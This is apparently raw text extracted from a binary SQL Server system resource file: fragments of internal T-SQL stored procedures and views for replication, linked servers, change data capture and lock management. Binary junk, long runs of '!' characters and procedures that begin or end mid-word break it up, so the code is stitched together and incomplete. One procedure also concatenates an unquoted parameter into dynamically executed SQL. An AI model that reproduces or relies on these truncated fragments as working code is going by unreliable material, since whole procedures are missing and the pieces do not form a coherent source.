    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'
    exec @retcode = master.dbo.xp_regread N'HKEY_LOCAL_MACHINE', 
        @regkey,
        @instance_name,
        @param = @instance_id OUTPUT,
        @no_output = N'no_output'
        
    if @retcode <> 0 or @@ERROR <> 0
    begin
        return 1
    end

    -- do the copying
    set @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + @instance_id + N'\Replication\ArticleResolver'
    raiserror(N'Attempting to copy article resolvers from %s', 10, 1, @regkey)
    exec @retcode = sys.sp_vupgrade_registry_custom_resolver_katmai @regkey 
    if @@error <> 0 OR @retcode <> 0
        return 1

    -- Registering the default resolvers here will make sure that the clsids get upgraded.
    -- we need to register the resolvers for all distribution databases known on this machine
    declare @db_distbit int -- distribution db bit
    select @db_distbit = 16
    
    declare #cur_distdb CURSOR LOCAL FAST_FORWARD for 
        select name, has_dbaccess(name) from master.dbo.sysdatabases 
        where category & @db_distbit = @db_distbit
        and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
        for read only

    open #cur_distdb
    fetch #cur_distdb into @dbname, @has_dbaccess
    while ( @@fetch_status <> -1 )
    begin
        -- Verify that this SKU is allowed to be a distributor
        exec @retcode= sys.sp_MSsku_allows_replication
	if @@error =0 and  @retcode = 0 and @has_dbaccess = 1
	begin
            exec @retcode = sys.sp_MSrepl_register_default_resolvers @dbname
            if @@error <> 0 OR @retcode <> 0
                return 1                
        end
                
       fetch next from #cur_distdb into @dbname, @has_dbaccess
    end --while
    close #cur_distdb
    deallocate #cur_distdb

    return 0
0xe@ H8create procedure sys.sp_oledbinfo
    @server nvarchar(128),
    @infotype nvarchar(128) = NULL,
    @login nvarchar(128) = NULL,
    @password nvarchar(128) = NULL
    AS

    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distproc nvarchar (255)
    DECLARE @retcode int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
            RETURN (1)
    END

    select @distproc = QUOTENAME(rtrim(@distributor)) + '.master.sys.sp_MSget_oledbinfo'
    exec @retcode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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>`.<<DD*50-@ o8CREATE VIEW sys.dm_os_sys_info AS
	SELECT *
	FROM OpenRowset(TABLE SYSINFO)
0V`1@ E8CREATE VIEW sys.dm_tran_locks AS
	SELECT	resource_type,
			resource_subtype,
			resource_database_id,
			resource_description,
			resource_associated_entity_id,
			resource_lock_partition,
			request_mode,
			request_type,
			request_status,
			request_reference_count,
			request_lifetime,
			request_session_id,
			request_exec_context_id,
			request_request_id,
			request_owner_type,
			request_owner_id,
			request_owner_guid,
			request_owner_lockspace_id,
			lock_owner_address
	FROM OpenRowSet(TABLE SYSLOCKINFORMATION)
07 8 
-- add it
create view sys.dm_pdw_nodes_os_performance_counters as
select *, convert(int, null) pdw_node_id from sys.dm_os_performance_counters
0_2@ s8create procedure sys.sp_dropmergelogsettings (
    @publication        sysname = NULL, 	/* Publication name */
    @subscriber         sysname = NULL,     /* Subscriber server */
    @subscriber_db      sysname = NULL,     /* Subscription database */
    @web_server			sysname = NULL
    ) AS 

    declare @retcode                int
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier
    /*
    ** Security Check.
    */
    exec @retcode= sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(15247,-1,-1)
        return (1)
    end


    /*
    **    Check to see if current database is doing publishing/subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_dropmergelogsettings')
            RETURN (1)
        END

    select @pubid = pubid
       FROM dbo.sysmergepublications 
       WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END

    
    /*
    ** Parameter Check:     @subscriber.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_dropmergelogsettings')
            RETURN (1)
        END
    
    /*
    ** Check to see if you have a subscription on this publication
    */
    set @subid = NULL
    select @subid = subid, @pubid = pubid /* identified from publication name */
          from dbo.sysmergesubscriptions
        where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
            and db_name = @subscriber_db
            
    if @subid IS NULL 
        begin
            RAISERROR (14050, 11, -1)
            RETURN(1)
        end                    

	if not exists (select * from dbo.MSmerge_supportability_settings
				    WHERE pubid = @pubid and subid = @subid and
			        ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
			        UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default )))
    begin
	    RAISERROR (20720, 16, -1, @subscriber, @subscriber_db,@web_server)
        RETURN(1)
    end                    			       

    begin tran
    save TRAN dropmergelogsettings

    delete dbo.MSmerge_supportability_settings 
    WHERE pubid = @pubid and subid = @subid and
        ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
        UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default ))
	    
    if @@ERROR <> 0
    BEGIN
        GOTO FAILURE
    END

	-- Get the subscriber out of supportability mode if there are no
	-- entries for the subscriber with support_options turned on.
	if not exists ( select * from dbo.MSmerge_supportability_settings
		WHERE pubid = @pubid and subid = @subid and
        support_options <> 0
		)
	begin
		update dbo.sysmergesubscriptions
			set supportability_mode = 0
		where subid = @subid and pubid = @pubid

	    if @@ERROR <> 0
	    BEGIN
	        GOTO FAILURE
	    END		
	end

    COMMIT TRAN
    return (0)

FAILURE:
    RAISERROR (20721, 16, -1)
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION dropmergelogsettings
        COMMIT TRANSACTION
    end
    RETURN (1)
determine the row count and post event to the log reader.
	-- Generate sp_table_validation command template that will be sent on behalf of the article to subscribers
	select @command = 'exec dbo.sp_table_validation @table = '
						+ QUOTENAME(@destination_table, '''')
						+ N', @expected_rowcount = %d, @rowcount_only = 1, @full_or_fast = '
						+ convert(nvarchar(10), @full_or_fast)
						+ N', @shutdown_agent = ' + convert(nvarchar(10), @shutdown_agent)
    
	-- Add owner param if destination owner is not NULL
	if (@destination_owner IS NOT NULL)
	begin
   		select @command = @command
   							+ ', @owner = '
   							+ QUOTENAME(@destination_owner, '''')
	end

	-- Generate the row count request at the publisher
   	exec @retcode = sp_ORArowcount	@publisher,
   									@source_owner,
   									@source_name,
   									@publication_id,
   									@article_id,
   									@command_type,
   									@command,
   									@subscription_level 
        	
   	if @retcode <> 0 or @@error <> 0 
    	return 1

	-- Return message indicating row count request has been submitted to publisher.
   	raiserror (20514, 10, -1, @publisher, @article, @publication)

	return 0
end
0\D@ 8create procedure [sys].[sp_cdc_generate_wrapper_function_internal]  		
(														
	@closed_high_end_point  bit,
	@column_list            nvarchar(max),
	@update_flag_list		nvarchar(max)
)
with execute as 'dbo'
as
begin
	set nocount on

	declare @object_id int
			,@capture_instance sysname
			,@function_name nvarchar(145)
			,@mapping_option nvarchar(30)
			,@create_script nvarchar(max)
			,@supports_net_changes bit
			
	declare #hinstance cursor local fast_forward for
		select capture_instance, object_id 
		from  #capture_instances
		
	if (@closed_high_end_point = 1)
		set @mapping_option = N'largest less than or equal'
	else
		set @mapping_option = N'largest less than'

	open #hinstance
	fetch #hinstance into @capture_instance, @object_id

	while (@@fetch_status <> -1)
	begin
		-- Generate the script to create a wrapper for the all changes function
		set @function_name = N'fn_all_changes_' + @capture_instance
		exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
			@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
		insert into #create_scripts values(@function_name, @create_script)
			
		-- If the capture instance supports net changes, create a wrapper for the
		-- net changes query function
		if exists (
			select capture_instance from cdc.change_tables
			where capture_instance = @capture_instance
			and supports_net_changes = 1 )
		begin	
			set @function_name = N'fn_net_changes_' + @capture_instance
			exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
				@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
			insert into #create_scripts values(@function_name, @create_script)
		
		end
		
		fetch #hinstance into @capture_instance, @object_id
	end

	close #hinstance
	deallocate #hinstance
	
	return 0
end																
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!V_	`]	<"NpA0~ 8CREATE view sys.dm_fts_semantic_similarity_population
AS
	SELECT * FROM OpenRowset(TABLE DSIPOP)
0T 8CREATE PROCEDURE sys.sp_MShelp_snapshot_agentid 
(
    @publisher_id       smallint,
    @publisher_db       sysname,
    @publication        sysname,
    @job_id             binary(16) = NULL,
    @dynamic_snapshot_location nvarchar(255) = NULL,
    @dynamic_filter_login sysname = NULL,
    @dynamic_filter_hostname sysname = NULL
)
AS
begin
    set nocount on
    declare @retcode int
                ,@publisher sysname
                ,@description nvarchar(255)
                ,@new_password nvarchar(524)

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    if @dynamic_filter_login = N''
        select @dynamic_filter_login = NULL

    if @dynamic_filter_hostname = N''
        select @dynamic_filter_hostname = NULL

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        -- Check if agent exists, if not and there is an 6.x tasks then create one
        if @publication is not null and @publication <> '' and not exists (select * from MSsnapshot_agents where
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                publication = @publication and
                dynamic_filter_login is NULL  and
                dynamic_filter_hostname is NULL)
        begin
            -- Do it only if the agent name is valid. It will be the case if
            -- the agent is launched by SQL Server Agent
            if exists (select * from msdb.dbo.sysjobs_view where
                job_id = @job_id)
            begin
                select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id
                begin tran
                exec @retcode = sys.sp_MSadd_snapshot_agent
                    @publisher = @publisher, 
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @local_job = 1,
                    @job_existing = 1,
                    @snapshot_jobid = @job_id,
                    @internal = N'YUKON'
                if @@ERROR<> 0 or @retcode <> 0
                    goto UNDO

                -- Add a publication definition so it shows up in monitoring procs
                set @description = formatmessage(20555)
                exec @retcode = sys.sp_MSadd_publication
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @publication_type = 1,              -- Make all 6.x pubs transactional
                    @description = @description       -- 6.x publication description

                if @@ERROR<> 0 or @retcode <> 0
                    goto UNDO
                commit tran
            end
        end

        select id, name from MSsnapshot_agents  where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication and
            dynamic_filter_login is NULL and
            dynamic_filter_hostname is NULL
    end
    else
    begin
        if @publication is not null and 
           @publication <> '' and 
           not exists (select * from MSsnapshot_agents where
                        publisher_id = @publisher_id and
                        publisher_db = @publisher_db and
                        publication = @publication and
                        ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
                        ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname))
        begin
            -- add an agent for the dynamic snapshot
            declare @regular_snapshot_jobid uniqueidentifier
            declare @dynamic_jobname sysname
            declare @dynamic_jobid uniqueidentifier
            declare @dynamic_job_step_uid uniqueidentifier
            declare @local_job bit
            declare @publication_type int
            declare @profile_id int
            
            select @regular_snapshot_jobid = job_id, 
                   @local_job = local_job, 
                   @publication_type = publication_type, 
                   @profile_id = profile_id from MSsnapshot_agents 
                  where publisher_id = @publisher_id and
                        publisher_db = @publisher_db and
                        publication = @publication and
                        dynamic_filter_login is NULL and
                        dynamic_filter_hostname is NULL

            if (@local_job = 1)
            begin
                exec @retcode = sys.sp_MSadddynamicsnapshotjobatdistributor @regular_snapshot_jobid, @dynamic_filter_login, @dynamic_filter_hostname, @dynamic_snapshot_location, @dynamic_jobname output, @dynamic_jobid output, @dynamic_job_step_uid output
                if @retcode <> 0 or @@error <> 0
                    return 1
            end
            else
            begin
            	SELECT @new_password = newid()

				EXEC @retcode = sys.sp_MSreplencrypt @new_password OUTPUT
		    	IF @@error <> 0 or @retcode <> 0
		    		RETURN (1)

                if @publication_type is NULL
                begin
                    raiserror(20678, 16, -1)
                    return (1)
                end
                select @dynamic_jobname = N'No job yet'
        		INSERT INTO MSsnapshot_agents (name, publisher_id, publisher_db, publication, publication_type,
        								local_job, profile_id, dynamic_filter_login, dynamic_filter_hostname,
        								publisher_security_mode, publisher_login, publisher_password)
        			 VALUES (@dynamic_jobname,@publisher_id, @publisher_db, @publication, @publication_type, 
        			            @local_job, @profile_id, @dynamic_filter_login, @dynamic_filter_hostname,
        			            1, NULL, @new_password)
                if @@error <> 0
                    return 1
            end
        end
        select id, name from MSsnapshot_agents  where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication and
            ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
            ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)
    end
    
    return(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
1
			BEGIN
				SELECT @error_number = ERROR_NUMBER(), 
						@error_severity = ERROR_SEVERITY(), 
						@error_state = ERROR_STATE()

				RAISERROR(@error_number, @error_severity, @error_state)
			END
			
			RETURN 1
		END
	END CATCH
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;
`
<	"MF0F8X@ `8----------------------------------------
-- NOTE: FOR INTERNAL USE ONLY!
--	  DO NOT DOCUMENT OR USE!
----------------------------------------
create procedure sys.sp_MSaddserver_internal
	@server			sysname,			-- server name
	@srvproduct		nvarchar(128),		-- product name
	@provider		nvarchar(128),		-- oledb provider name
	@datasrc		nvarchar(4000),		-- oledb datasource property
	@location		nvarchar(4000),		-- oledb location property
	@provstr		nvarchar(4000),		-- oledb provider-string property
	@catalog		sysname,			-- oledb catalog property
	@linkedstyle	bit,				-- if =0 use sp_addserver semantics
	@localentry		bit					-- use id=0 if =1
as
	-- VARIABLES
	declare @retcode	int,
			@srvid		int,
			@dataaccess	bit,
			@dtcpromotionforremoteproc bit,
			@rpcin		bit,
			@rpcout		bit,
			@errcode	int

	-- VALIDATE SERVER NAME
	EXEC @retcode = sys.sp_validname @server
	if @retcode <> 0
		return (1) -- non-dup error

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any linked server') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380143948, Success = 0, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = @provider, Server = @server)
		raiserror(15247,-1,-1)
		return (1) -- non-dup error
	end
	else
	begin
		EXEC %%System().AuditEvent(ID = 1380143948, Success = 1, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = @provider, Server = @server)
	end

	-- SET GENERAL DEFAULTS
	SELECT	@dataaccess = @linkedstyle,		-- Linked-servers get data access
			@dtcpromotionforremoteproc = @linkedstyle,	-- Linked-servers get DtcPromotionForRemoteProc
			@rpcin = 0, @rpcout = 0			-- No RPC for non-SQL Server

	-- HANDLE DEFAULTS FOR SQL Server PROVIDER
	if @provider is null
	begin
		select	@srvproduct = N'SQL Server',		-- force case to be this
				@provider = N'SQLNCLI',				-- SQL Server provider (SNAC)
				@datasrc = @server,					-- datasrc is (network) server name
				@location = NULL,
				@provstr = NULL,
				@catalog = NULL,
				@rpcin = 1, @rpcout = 1				-- enable RPC for SQL Server
	end

	-- CREATE INITIAL LOGIN -- Raises xact-abort error if row-too-long
	EXEC %%LinkedServer () . NewServer (
				Name = @server,
 				Product = @srvproduct,
				Provider = @provider,
				Local = @localentry,
				Linked = @linkedstyle,
				RPCIn = @rpcin,
				RPCOut = @rpcout,
				DataAccess = @dataaccess,
				DtcPromotionForRemoteProc = @dtcpromotionforremoteproc,
				Datasource = @datasrc,
				Location = @location,
				ProviderString = @provstr,
				Catalog = @catalog)

	set @errcode = @@ERROR

	-- CHECK FOR DUPLICATE
	IF @errcode = 1
	BEGIN
		return (2); -- dup
	END
	ELSE IF @errcode = 3
	BEGIN
		return (3); -- matrix not available
	END

	EXEC %%LinkedServer(Name=@server).SetUseRemoteCollation(Value=1)	-- Other props correctly default to 0/NULL

	-- ADD DEFAULT MAPPING FOR OUTGOING EVENTS
	EXEC %%LinkedServer(Name=@server).NewLinkedLogin(LocalID=0, UseSelf=1, RemoteName=NULL, Password=NULL)

	-- SUCCESS
	return (0) -- sp_MSaddserver_internal
0Y@ b	8create procedure sys.sp_MSgetpeerconflictrow 
(
	@originator_id nvarchar(32) = '%' -- int
	,@origin_datasource nvarchar(32) = '%' --int
	,@tran_id nvarchar(32) = '%' -- varbinary(16)
	,@row_id nvarchar(32) = '%' -- timestamp
	,@conflict_table nvarchar(270) -- [owner].[tabname]   
)
as 
begin
    set nocount on
    declare @retcode int = 0
			,@cmd nvarchar(4000) 
			,@whcmd nvarchar(4000) = N'where c.__$is_winner = 0 '
	
	select @cmd = N'select w.__$winner_origin_datasource_srvname, w.__$winner_origin_datasource_db, ''__$origin_datasource_srvname'' = h.originator_node,  ''__$origin_datasource_db'' = h.originator_db, c.* from ' 
				+ ISNULL(NULLIF(QUOTENAME(PARSENAME(@conflict_table, 2)) + N'.', N'.'), N'') + QUOTENAME(PARSENAME(@conflict_table, 1))
				+ N' c join MSpeer_originatorid_history h on c.__$origin_datasource = h.originator_id'
				+ N' left join (select distinct ''__$winner_origin_datasource_srvname'' = hw.originator_node, ''__$winner_origin_datasource_db'' = hw.originator_db, cw.__$change_id, cw.__$row_id from '
				+ ISNULL(NULLIF(QUOTENAME(PARSENAME(@conflict_table, 2)) + N'.', N'.'), N'') + QUOTENAME(PARSENAME(@conflict_table, 1))
				+ N' cw join MSpeer_originatorid_history hw on cw.__$origin_datasource = hw.originator_id where cw.__$is_winner = 1) as w on '
				+ N' ((w.__$change_id is not null and w.__$change_id = c.__$row_id) or (w.__$change_id is null and w.__$row_id = c.__$change_id)) '
				
    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    --
    -- passed the security check
    --

    if (@originator_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$originator_id = ' + quotename(@originator_id, '''')
    end
    if (@origin_datasource != N'%')
    begin
            select @whcmd = @whcmd + N' and __$origin_datasource = ' + quotename(@origin_datasource, '''')
    end
    if (@tran_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$tranid = ' + quotename(@tran_id, '''')
    end
    if (@row_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$row_id = ' + @row_id
    end
    select @cmd = @cmd + @whcmd

    --
    -- execute the generated select
    --
    execute (@cmd)
    --
    -- all done
    --
end
ct @lock_acquired = 1 -- not a peek but has waited as specified
                select @slot_name = NULL -- waited but failed to get one
                BREAK
            end

        SET @slot_name=@process_name+convert(varchar,@i)
        
        --the call is not blocking, return immediately having acquired 
        -- the lock or not
        exec @retcode=sys.sp_getapplock @Resource=@slot_name,@LockMode=N'Exclusive',
            @LockOwner='Session',@LockTimeout=0,@DbPrincipal=@DbPrincipal
        IF (@retcode <> 0 AND @retcode <> -1)
            BEGIN
                RAISERROR(21414,16,-1)
                RETURN(@retcode)
            END
    
        IF (@retcode = 0)       -- got lock for that slot - cleanup and leave.
            BEGIN
                -- Release the "Im first lock"
                exec @retcode=sys.sp_releaseapplock @process_name,@LockOwner=N'Session',@DbPrincipal=@DbPrincipal
                IF (@retcode <> 0)
                BEGIN
                    SET @slot_name=NULL
                    RAISERROR(21415, 16, -1)
                    RETURN(@retcode)
                END
                select @lock_acquired = 1
                -- We got our slot and released the Im first lock.  We're done.
                BREAK
            END
        ELSE
        IF (@retcode = -1)  -- Couldn't immediately get the lock.  
                            -- So try the next one.
            BEGIN
            SET @i=@i+1
                IF @i <= @concurrent_max
                    CONTINUE   -- restart the loop
                ELSE
                    BEGIN       -- Sleep and start over.
                    if @return_immediately=1
                        begin
                            select @lock_acquired = 0 
                            --slot name does not matter in this case
                            BREAK
                        end
                    else
                        begin
                            WAITFOR DELAY @delaytime
                            SET @i=1
                            CONTINUE   -- restart the loop
                        end
                    END
            END
        
    END
    
    --output the slot name for the purpose of releasing the lock by the caller
    --if the value if NULL, the caller does not acquire the lock
    select @lock_acquired, @slot_name
RETURN(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p
`'
<s
t1&r0@ +8
create view sys.spt_table_privileges_view
as
    select
        -- begin (for doing joins)
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        -- end (for doing joins)
        TABLE_CATALOG       = convert(sysname,db_name()),
        TABLE_SCHEMA        = convert(sysname,s.name),
        TABLE_NAME          = convert(sysname,o.name),
        GRANTOR             = convert(sysname,user_name(p.grantor_principal_id)),
        GRANTEE             = convert(sysname,user_name(p.grantee_principal_id)),
        PRIVILEGE_TYPE      = convert(nvarchar(30), v.permission),
        IS_GRANTABLE        = convert(bit,        case when p.state = 'G' then 0    else 1     end),
        IS_GRANTABLE_STR    = convert(varchar(3), case when p.state = 'G' then 'NO' else 'YES' end)
    from
        sys.all_objects o inner join
        sys.database_permissions p on
            (
                o.type in ('S','U','V') and
                p.major_id = o.object_id and
                p.type in ('RF','SL','IN','DL','UP') and
                p.state <> 'D' -- only grant rows
            ) inner join
        sys.spt_permission_names v on
            (
                v.type = p.type
            ) inner join
         sys.schemas s on
            (
                o.schema_id = s.schema_id and
                s.principal_id <> p.grantee_principal_id and -- no rows for owner, such rows are generated in 3rd select
                has_perms_by_name(quotename(s.name)+'.'+quotename(o.name), 'OBJECT', v.permission) = 1
            )

    union

    select
        -- begin (for doing joins)
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        -- end (for doing joins)
        TABLE_CATALOG       = convert(sysname,db_name()),
        TABLE_SCHEMA        = convert(sysname,s.name),
        TABLE_NAME          = convert(sysname,o.name),
        GRANTOR             = convert(sysname,user_name(p.grantor_principal_id)),
        GRANTEE             = convert(sysname,user_name(u.principal_id)),
        PRIVILEGE_TYPE      = convert(nvarchar(30), v.permission),
        IS_GRANTABLE        = convert(bit,        case when p.state = 'G' then 0    else 1     end),
        IS_GRANTABLE_STR    = convert(varchar(3), case when p.state = 'G' then 'NO' else 'YES' end)
    from
        sys.all_objects o inner join
        sys.database_permissions p on
            (
                o.type in ('S','U','V') and
                p.major_id = o.object_id and
                p.type in ('RF','SL','IN','DL','UP') and
                p.state <> 'D' -- only grant rows
            ) inner join
        sys.spt_permission_names v on
            (
                v.type = p.type
            ) inner join
        sys.schemas s on
            (
               o.schema_id = s.schema_id
            ) inner join
        sys.database_principals u on
            (
                s.principal_id <> u.principal_id -- no rows for owner, such rows are generated in 3rd select
            ) inner join
        sys.database_role_members m on
            (
                p.grantee_principal_id = m.role_principal_id and
                u.principal_id = m.member_principal_id and
                has_perms_by_name(quotename(s.name)+'.'+quotename(o.name), 'OBJECT', v.permission) = 1
            )

    union

    select  -- Add rows for table owner
        -- begin (for doing joins)
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        -- end (for doing joins)
        TABLE_CATALOG       = convert(sysname,db_name()),
        TABLE_SCHEMA        = convert(sysname,schema_name(o.schema_id)),
        TABLE_NAME          = convert(sysname,o.name),
        GRANTOR             = convert(sysname,user_name(u.principal_id)),
        GRANTEE             = convert(sysname,user_name(ObjectProperty(o.object_id,'ownerid'))),
        PRIVILEGE_TYPE      = convert(nvarchar(30),v.permission),
        IS_GRANTABLE        = convert(bit,1),
        IS_GRANTABLE_STR    = convert(varchar(3),'YES')
    from
        sys.all_objects o inner join
        sys.database_principals u on
            (
                o.type in ('S','U','V') and
                u.principal_id = 1 -- grantor is 'dbo' of database
            ) inner join
        sys.spt_permission_names v on
            (
                user_id() = 1 or -- executed as 'dbo'
                user_id() = ObjectProperty(o.object_id,'ownerid') -- or object owner
            )
0 &
8
create procedure sys.sp_MSisallreplcolpk 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    if (@publishertype = 1)
    begin
        -- mssqlserver publisher
        declare @pkindid int, @indkey int, @replcol int, @objname sysname, @tabid int

        select @tabid = objid from dbo.sysarticles where artid = @artid
        if exists( select * from sys.objects where object_id = @tabid and type = 'V' )
        begin
            select @pkindid = 1
        end
        else
        begin
            select @pkindid = indid from dbo.sysindexes where id = @tabid and status & 2048 <> 0
        end
        select @indkey = 1
        select @objname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default + N'.' collate database_default + QUOTENAME(object_name( @tabid )) collate database_default 
        while @indkey <= 16 and index_col( @objname, @pkindid, @indkey ) is not null
        begin
            if not exists (select sac.colid from sys.columns sc join dbo.sysarticlecolumns sac on sc.column_id = sac.colid 
                        where sac.artid = @artid and sc.object_id = @tabid and sc.name = index_col( @objname, @pkindid, @indkey ) )
                break
            else
                select @indkey = @indkey + 1
        end
        select @replcol = count(colid) from sysarticlecolumns where artid = @artid
        if @replcol = @indkey - 1 
            return 1
    end
    else if (@publishertype = 2)
    begin
        -- heterogeneous publisher
        declare @pkcount  int
                    ,@colcount int

        SELECT @colcount = COUNT(*)
        FROM IHcolumns
        WHERE @artid = article_id
        SELECT @pkcount = COUNT(*)
        FROM IHcolumns ihc, IHpublishercolumns ihpc, IHpublishercolumnconstraints ihpcc,
                        IHpublisherconstraints ihpcn, IHarticles iha
        WHERE ihpcn.publisher_id = iha.publisher_id
            and    ihpcn.table_id = iha.table_id
            and    ihc.publishercolumn_id = ihpc.publishercolumn_id
            and    ihpc.publishercolumn_id = ihpcc.publishercolumn_id
            and    ihpcn.publisherconstraint_id = ihpcc.publisherconstraint_id
            and    iha.article_id = @artid
            and    ihpcn.type = 'PRIMARYKEY'
        if @pkcount = @colcount
            return 1
    end
    else
    begin
        raiserror(21402, 16, 16, '@publishertype')
    end
